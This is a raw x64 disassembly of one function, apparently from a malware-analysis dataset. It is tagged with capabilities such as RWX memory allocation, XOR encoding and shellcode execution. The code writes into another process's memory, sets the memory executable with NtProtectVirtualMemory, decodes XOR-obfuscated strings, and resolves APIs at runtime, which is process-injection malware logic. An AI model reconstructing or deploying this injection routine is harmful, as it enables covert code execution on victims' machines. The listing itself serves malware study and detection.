Function at 0x1800226d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1e8]
sub rsp, 0x2a8
movaps xmmword [rax - 0x58], xmm6
mov r15, r9
mov r13, r8
mov rbx, rdx
xor esi, esi
mov rdi, qword [rcx + 0x18]
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x180023a07
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rdx + 0x10]
xor edx, edx
mov rcx, rdi
call fcn.180016ed0
mov r12, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x180022787
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x18002277d
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022778
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov eax, 0xbb9
jmp 0x180023a42
mov r14, qword [rbx + 0x10]
mov rsi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180022798
mov rsi, qword [rbx]
mov rax, qword [0x1803a42d8]
cmp dword [rax + 0x30], 0
je 0x180022822
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x1800227bf
test rdi, 0xffffffffa0000000
je 0x1800227bf
test dil, 3
je 0x1800227d9
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov r9, r14
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call qword [0x1803a48b8]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x10], r14
xor esi, esi
mov qword [rbp - 0x20], rsi
lea rdx, [rbp - 0x40]
lea ecx, [rax + 0xe]
call fcn.180033fe0
mov dword [0x1803a4a48], eax
test eax, eax
sete al
jmp 0x180022843
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov r9, r14
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
xor esi, esi
test al, al
jne 0x1800228a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call fcn.18001c330
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180022896
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022891
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov eax, 0xbba
jmp 0x180023a42
mov r12, rsi
mov qword [rsp + 0x48], rsi
mov rax, qword [0x1803a42d8]
cmp dword [rax + 0x20], 1
jne 0x180023078
mov r13d, 0xbbb
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x60]
call fcn.1800c0ff0
nop
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x1f0], rax
cmp rax, qword [rbp - 0x58]
je 0x180022e9c
lea r14, [rax + 0x30]
mov r12d, 8
mov r15d, reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
lea rdx, [r14 + 0x200]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x180022912
lea rcx, [rbp + 0x30]
call fcn.180008fd0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.1800bd6e0
nop
movups xmm0, xmmword [str.JCHHXS_frA]
movups xmmword [rsp + 0x30], xmm0
movzx eax, word [0x1801834a8]
mov word [rsp + 0x30], r15w
xor word [rsp + 0x32], 0x3a
xor word [rsp + 0x34], 0x3b
xor word [rsp + 0x36], 0x3c
xor word [rsp + 0x38], 0x3d
xor word [rsp + 0x3a], 0x3e
xor word [rsp + 0x3c], 0x3f
xor word [rsp + 0x3e], 0x40
xor ax, 0x41
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180022990
lea rcx, [rsp + 0x58]
mov r15, qword [rsp + 0x70]
cmp r15, 7
seta r13b
mov rsi, qword [rsp + 0x58]
cmova rcx, rsi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
call fcn.180015bb0
cmp rax, 0xffffffffffffffff
je 0x180022a10
test r13b, r13b
je 0x180022e50
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022a08
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a7f
mov rcx, rsi
jmp 0x180022e4b
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor r13d, r13d
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [r14 + r8*2], r13w
jne 0x180022a30
mov rdx, r14
lea rcx, [rbp + 0x50]
call fcn.180008fd0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.1800bd6e0
nop
movups xmm3, xmmword [0x1801834c0]
movups xmmword [rbp + 0x10], xmm3
movsd xmm0, qword [0x1801834d0]
movsd qword [rbp + 0x20], xmm0
movzx eax, word [0x1801834d8]
mov word [rbp + 0x28], ax
mov ecx, r13d
mov r9d, dword [reloc.WS2_32.dll_accept]
cmp r9d, 2
jl 0x180022b67
movdqa xmm4, xmmword [0x180187550]
movdqa xmm2, xmmword [0x1801873c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180187510]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x10], xmm2
movdqa xmm3, xmmword [0x180187400]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180187510]
movq xmm0, qword [rbp + 0x18]
xorps xmm2, xmm0
movq qword [rbp + 0x18], xmm2
mov ecx, r12d
movsxd rax, ecx
lea r8, [rbp + 0x10]
lea r8, [r8 + rax*2]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x37
movzx eax, cx
sub ax, dx
add ax, 0x39
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0xd
jl 0x180022b72
lea rcx, [rbp + 0x10]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180022bb0
lea r8, [rbp + 0x70]
mov rsi, qword [rbp + 0x70]
mov r15, qword [rbp + 0x88]
cmp r15, 7
cmova r8, rsi
mov rdx, qword [rbp + 0x80]
cmp rdx, rax
jne 0x180022dd2
lea rcx, [rbp + 0x10]
test rdx, rdx
je 0x180022c09
lea rax, [rbp + 0x10]
sub r8, rax
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x180022dd2
add rcx, 2
sub rdx, 1
jne 0x180022bf1
movsd xmm0, qword [str.uUZXqW_2_0:]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1801834b8]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801834bc]
mov byte [rsp + 0x3c], al
xor r10d, r10d
mov r8d, r10d
cmp r9d, 2
jl 0x180022d35
movdqa xmm4, xmmword [0x180187550]
movdqa xmm2, xmmword [0x1801873c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1801875c0]
movd xmm0, dword [str.uUZXqW_2_0:]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180187400]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1801875c0]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180022d40
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r10
mov qword [rbp + 0x48], r10
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r10b
jne 0x180022d90
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.1800091f0
mov r14, qword [rbp + 0x1f0]
lea rdx, [r14 + 0x230]
lea rcx, [rbp + 0x30]
call fcn.1800c2a00
test eax, eax
je 0x180022ef0
mov r12d, eax
add r12, qword [r14 + 0x18]
jmp 0x180022efb
cmp r15, 7
jbe 0x180022e0e
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022e05
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a79
mov rcx, rsi
call fcn.1800d9c4c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180022e50
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180022e4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a7f
call fcn.1800d9c4c
xor esi, esi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
mov rax, qword [rbp + 0x1f0]
add rax, 0x438
mov qword [rbp + 0x1f0], rax
add r14, 0x438
cmp rax, qword [rbp - 0x58]
jne 0x1800228ef
mov r13d, 0xbbb
mov r12, qword [rsp + 0x48]
mov r15, qword [rbp + 0x208]
lea rcx, [rbp - 0x60]
call fcn.1800156f0
test r13d, r13d
je 0x180022f93
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180022ee8
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022ee3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov eax, r13d
jmp 0x180023a42
mov r13d, 0xbbc
mov r12, qword [rsp + 0x48]
cmp r15, 7
jbe 0x180022f37
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022f2e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a79
mov rcx, rsi
call fcn.1800d9c4c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180022f79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180022f74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a7f
call fcn.1800d9c4c
xor esi, esi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
jmp 0x180022e95
mov r13, qword [rbp + 0x200]
mov r8, qword [rsp + 0x78]
mov rdx, r12
mov rcx, rdi
call fcn.180015a50
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
mov rcx, rdi
call fcn.18001c330
mov r14, qword [rbx + 0x10]
mov rsi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180022fdc
mov rsi, qword [rbx]
test r14, r14
je 0x18002343c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xed]
call fcn.18010bdb0
mov byte [rbp + 0xec], 1
lea rax, [r14 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rsi
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
jne 0x180023070
cmp rcx, rsi
je 0x18002343c
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
je 0x180023057
sub rcx, rsi
jmp 0x180023443
movsd xmm0, qword [str.r_IRXR_fro__E]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x1801834e8]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1801834ec]
mov byte [rsp + 0x54], al
mov r12d, 8
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1800231b4
movdqa xmm4, xmmword [0x180187550]
movdqa xmm2, xmmword [0x1801873c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
mov eax, dword [0x1801875c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.r_IRXR_fro__E]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x180187400]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r8d, r12d
xor r14d, r14d
jmp 0x1800231ba
xor r14d, r14d
mov r8d, r14d
mov eax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800231d0
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
jne 0x180023265
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x18002324c
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023247
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbb
jmp 0x180023a51
movsd xmm0, qword [str.uUZXqW_2_0:]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1801834b8]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801834bc]
mov byte [rsp + 0x3c], al
cmp esi, 2
jl 0x18002338f
movdqa xmm4, xmmword [0x180187550]
movdqa xmm2, xmmword [0x1801873c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
mov eax, dword [0x1801875c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.uUZXqW_2_0:]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180187400]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187450]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180187520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x180023392
mov r12d, r14d
mov eax, r12d
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul r12d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r12b
sub al, cl
add al, 0x39
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0xd
jl 0x1800233a0
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
jne 0x180022f9a
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023423
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18002341e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbc
jmp 0x180023a51
mov rcx, 0xffffffffffffffff
inc rcx
mov r8, r14
sub r8, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
cmp r14, rcx
jb 0x180023a85
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180023474
mov rax, qword [rbx]
lea rdx, [rax + rcx]
lea rcx, [rbp - 0x80]
call fcn.1800091f0
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x1f0], rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
seta r9b
cmova r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x70]
add rcx, r8
lea rax, [rbp - 0x80]
test r9b, r9b
cmovne rax, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
cmp rax, rcx
jne 0x1800234ef
mov qword [rbp - 0x50], r12
mov eax, 7
mov qword [rbp - 0x48], rax
mov word [rbp - 0x60], r12w
jmp 0x180023505
sub rcx, rax
mov r9, rcx
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1800188b0
mov rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x60]
cmp rax, 7
cmova rdx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x180023530
lea rcx, [rsp + 0x58]
call fcn.180008fd0
nop
mov rax, qword [0x1803a42d8]
cmp dword [rax + 0x30], 0
setne r9b
mov esi, dword [rax + 0x20]
cmp esi, 2
sete r8b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov byte [rsp + 0x20], 0
mov rcx, rdi
call fcn.180039360
test rax, rax
jne 0x180023587
mov rsi, r12
jmp 0x18002359e
mov rcx, rax
cmp esi, 2
je 0x180023594
mov esi, dword [rax + 0x18]
jmp 0x180023598
mov rsi, qword [rax + 0x30]
call fcn.1800e6028
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1800235e0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800235db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a8b
call fcn.1800d9c4c
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r12w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180023634
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002362f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a91
call fcn.1800d9c4c
test rsi, rsi
jne 0x1800236f0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, r14
cmp rax, 0x1388
jbe 0x1800234a2
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18002368d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180023688
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a6d
call fcn.1800d9c4c
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1800236d7
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1800236d2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbd
jmp 0x180023a51
test r13, r13
je 0x18002396f
test r15, r15
je 0x18002396f
mov qword [rsp + 0x78], rsi
mov dword [rbp + 0x1f0], r12d
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea r14, [rax + 0x2710]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r14
ja 0x1800238d1
nop word [rax + rax]
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rax, qword [0x1803a42d8]
cmp dword [rax + 0x30], 0
je 0x1800237f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x1800237c4
test rdi, 0xffffffffa0000000
je 0x1800237c4
test dil, 3
jne 0x1800237c4
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 4], r12
mov dword [rbp + 4], r12d
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
lea rax, [rsp + 0x48]
mov qword [rbp - 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rbp - 0x20], rax
mov dword [rbp - 8], 0x40
lea rax, [rbp + 0x1f0]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x40]
mov ecx, listen
call fcn.180033fe0
mov dword [0x1803a4a48], eax
jmp 0x180023819
mov rax, qword [0x1803a48d8]
lea rcx, [rbp + 0x1f0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x48]
mov rcx, rdi
call rax
mov dword [0x1803a4a48], eax
jmp 0x180023819
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov rsi, qword [rsp + 0x78]
mov rax, qword [0x1803a42d8]
cmp dword [rax + 0x30], 0
je 0x18002389e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x180023845
test rdi, 0xffffffffa0000000
je 0x180023845
test dil, 3
je 0x18002385c
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, r13
mov rdx, rsi
mov rcx, rdi
call qword [0x1803a48b8]
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x18], r12
mov qword [rbp - 8], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x10], r15
mov qword [rbp - 0x20], r12
lea rdx, [rbp - 0x40]
mov ecx, recv
call fcn.180033fe0
mov dword [0x1803a4a48], eax
jmp 0x1800238b5
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, r13
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
test al, al
jne 0x18002396f
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r14
jbe 0x180023730
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18002390c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180023907
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a97
call fcn.1800d9c4c
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023956
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023951
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a9d
mov rcx, r8
call fcn.1800d9c4c
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbe
jmp 0x180023a51
